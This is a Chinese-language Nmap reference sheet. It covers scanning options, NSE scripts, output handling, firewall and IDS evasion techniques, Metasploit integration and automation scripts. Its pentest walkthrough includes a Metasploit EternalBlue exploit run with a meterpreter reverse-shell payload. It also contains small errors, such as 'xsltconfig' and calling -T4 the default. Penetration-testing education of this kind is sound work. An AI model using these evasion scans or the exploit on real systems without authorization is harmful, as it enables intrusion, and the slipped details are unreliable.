Nmap 操作手册
Author: Asterism && Deepseek Date: 2026.3.17
Lastest edited on 2026.3.17
一、基础概念
- 端口状态
open:端口开放,有服务监听closed:端口关闭,无服务filtered:被防火墙过滤,状态未知
- 扫描类型
- SYN扫描 (
-sS):半开放扫描,默认(需root),速度快,不易被记录 - TCP连接扫描 (
-sT):完整三次握手,无需root,速度慢,易被记录
- SYN扫描 (
- 目标表示
- 域名:
scanme.nmap.org - IP:
192.168.1.1 - 网段:
192.168.1.0/24 - 范围:
192.168.1.1-100
- 域名:
二、基础扫描命令
| 目的 | 命令示例 | 说明 |
|---|---|---|
| 默认扫描(1000常用端口) | nmap <目标> | 最基础的扫描 |
| 快速主机发现(Ping扫描) | nmap -sn <目标网段> | 只判断主机是否在线,不扫端口 |
| 指定端口 | nmap -p 80 <目标> | 扫描单个端口 |
nmap -p 80,22,443 <目标> | 扫描多个端口 | |
nmap -p 1-1000 <目标> | 扫描端口范围 | |
nmap -p- <目标> | 扫描所有65535个端口(慢) | |
| 指定扫描类型 | sudo nmap -sS <目标> | SYN扫描 |
nmap -sT <目标> | TCP连接扫描 |
三、服务与系统探测
| 目的 | 命令示例 | 说明 |
|---|---|---|
| 服务版本探测 | nmap -sV <目标> | 获取服务/版本信息 |
| 操作系统检测 | sudo nmap -O <目标> | 推测目标操作系统(需root) |
| 综合探测 | sudo nmap -sS -sV -O <目标> | 常用组合 |
四、Nmap脚本引擎(NSE)
4.1 脚本分类
safe:安全脚本,无害vuln:漏洞检测default:默认脚本(相当于-sC)auth、brute、discovery、exploit、dos等
4.2 常用脚本命令
| 目的 | 命令示例 | 说明 |
|---|---|---|
| 运行默认脚本 | nmap -sC <目标> | 运行 default 类别 |
| 按类别运行 | nmap --script=safe <目标> | 运行所有安全脚本 |
nmap --script=vuln <目标> | 运行漏洞检测脚本 | |
nmap --script=default,safe <目标> | 同时运行多个类别 | |
| 按脚本名运行 | nmap --script=http-title <目标> | 运行特定脚本 |
| 带参数运行 | nmap --script=http-title --script-args http-title.timeout=5 <目标> | 传递参数给脚本 |
| 枚举SMB共享 | nmap -p 445 --script=smb-enum-shares <目标> | 常见实战脚本 |
五、输出保存与处理
| 目的 | 命令示例 | 说明 |
|---|---|---|
| 保存为文本 | nmap -oN results.txt <目标> | 普通文本格式 |
| 保存为XML | nmap -oX results.xml <目标> | 便于程序解析 |
| 保存为grepable | nmap -oG results.gnmap <目标> | 可用grep处理 |
| 保存所有格式 | nmap -oA basename <目标> | 同时生成 .nmap, .xml, .gnmap |
| XML转HTML报告 | xsltconfig -o report.html results.xml | 需安装xsltproc |
| 过滤grepable文件 | grep 80/open results.gnmap | 查找开放80端口的行 |
六、性能优化与时序控制
| 目的 | 命令示例 | 说明 |
|---|---|---|
| 时序模板 | nmap -T0 <目标> | 极慢(绕过IDS) |
nmap -T4 <目标> | 较快(默认) | |
nmap -T5 <目标> | 疯狂模式(可能丢包) | |
| 主机超时 | nmap --host-timeout 30s <目标网段> | 超过30秒放弃该主机 |
| 并行主机组 | nmap --min-hostgroup 64 --max-hostgroup 256 | 调整并行扫描主机数 |
| 报文超时 | nmap --max-rtt-timeout 100ms | 等待响应时间 |
| 重传次数 | nmap --max-retries 2 | 减少重传加快速度 |
| 快速扫描C段 | nmap -p 80 -T4 --min-hostgroup 64 --max-rtt-timeout 100ms 192.168.1.0/24 | 典型优化组合 |
七、防火墙/IDS绕过技术
| 目的 | 命令示例 | 说明 |
|---|---|---|
| 分片扫描 | sudo nmap -f <目标> | 将包分片,绕过简单防火墙 |
| 自定义MTU | sudo nmap --mtu 16 <目标> | 需为8的倍数 |
| 诱饵扫描 | sudo nmap -D RND:10,ME <目标> | 随机生成10个诱饵IP |
| 空闲扫描 | sudo nmap -sI <僵尸IP> <目标> | 利用僵尸机IP隐藏自己 |
| 改变源端口 | sudo nmap -g 53 <目标> | 使用53端口(DNS)绕过信任 |
| 调整时序 | nmap -T0 <目标> | 慢速扫描躲避检测 |
八、与Metasploit联动
| 目的 | 命令示例 | 说明 |
|---|---|---|
| 在msf中导入Nmap XML | msf6 > db_import /path/to/scan.xml | 将扫描结果导入数据库 |
| 查看导入的主机 | msf6 > hosts | |
| 查看服务 | msf6 > services | |
| 在msf中直接调用Nmap | msf6 > db_nmap -sV -p 1-1000 <目标> | 结果自动存入数据库 |
| 查看漏洞 | msf6 > vulns | 如果之前运行了vuln脚本 |
九、自动化脚本示例
9.1 Bash脚本(自动扫描存活主机)
#!/bin/bash
TARGET=$1
if [ -z "$TARGET" ]; then
echo "Usage: $0 <target>"
exit 1
fi
echo "[*] Discovering live hosts..."
nmap -sn $TARGET -oG ping.gnmap > /dev/null
grep Up ping.gnmap | cut -d' ' -f2 > live_hosts.txt
for host in $(cat live_hosts.txt); do
echo "[*] Scanning $host..."
sudo nmap -sS -sV -O --script=default -oA "scan_$host" $host
done
9.2 Python脚本(使用python-nmap)
import nmap
nm = nmap.PortScanner()
target = '192.168.1.0/24'
nm.scan(hosts=target, arguments='-sn')
for host in nm.all_hosts():
print(f'Host: {host} ({nm[host].state()})')
nm.scan(hosts=host, arguments='-sV -p 1-1000')
for proto in nm[host].all_protocols():
ports = nm[host][proto].keys()
for port in ports:
service = nm[host][proto][port]
print(f' {port}/{proto}: {service["state"]} {service["name"]} {service.get("version", "")}')
9.3 自定义NSE脚本模板
local shortport = require "shortport"
local stdnse = require "stdnse"
local http = require "http"
description = [[
自定义脚本描述
]]
author = "Your Name"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"discovery", "safe"}
portrule = shortport.http
action = function(host, port)
local response = http.get(host, port, "/")
if response.status == 200 then
-- 自定义处理逻辑
return stdnse.format_output(true, "Found something")
end
end
使用:nmap --script=mycustom.nse -p 80 <目标>
十、结合Searchsploit查找漏洞
nmap -sV -oN version.txt <目标>
grep -E "([0-9]+\.[0-9]+)" version.txt | while read line; do
service=$(echo $line | awk '{print $3}')
version=$(echo $line | awk '{print $4}')
searchsploit "$service $version"
done
十一、完整渗透测试流程示例
主机发现
nmap -sn 192.168.1.0/24深度扫描
sudo nmap -sS -sV -p- -T4 -oA deep_scan 192.168.1.10漏洞脚本扫描
nmap --script=vuln -p 80,443,445 -oN vuln_scan 192.168.1.10导入Metasploit
msfconsole→db_import deep_scan.xml→hosts→services→vulns利用漏洞(以MS17-010为例)
use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.10 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.100 run生成报告
xsltproc -o report.html deep_scan.xml
十二、常用快捷组合
| 组合命令 | 用途 |
|---|---|
sudo nmap -sS -sV -O <目标> | 快速综合扫描 |
sudo nmap -p- -sV -sC -O -oA full <目标> | 全端口+服务+脚本+OS+保存 |
nmap --script=vuln <目标> | 漏洞快速检测 |
sudo nmap -f -D RND:10,ME <目标> | 隐蔽扫描 |
nmap -p 80,443 --script=http-* <目标> | 运行所有HTTP相关脚本 |
十三、注意事项
- 任何未经授权的扫描和渗透测试均属违法行为,务必在合法授权下进行。
- 扫描大范围网络时,注意控制速度,避免对目标网络造成影响。
- 保持Nmap版本更新,以获得最新的服务指纹和脚本。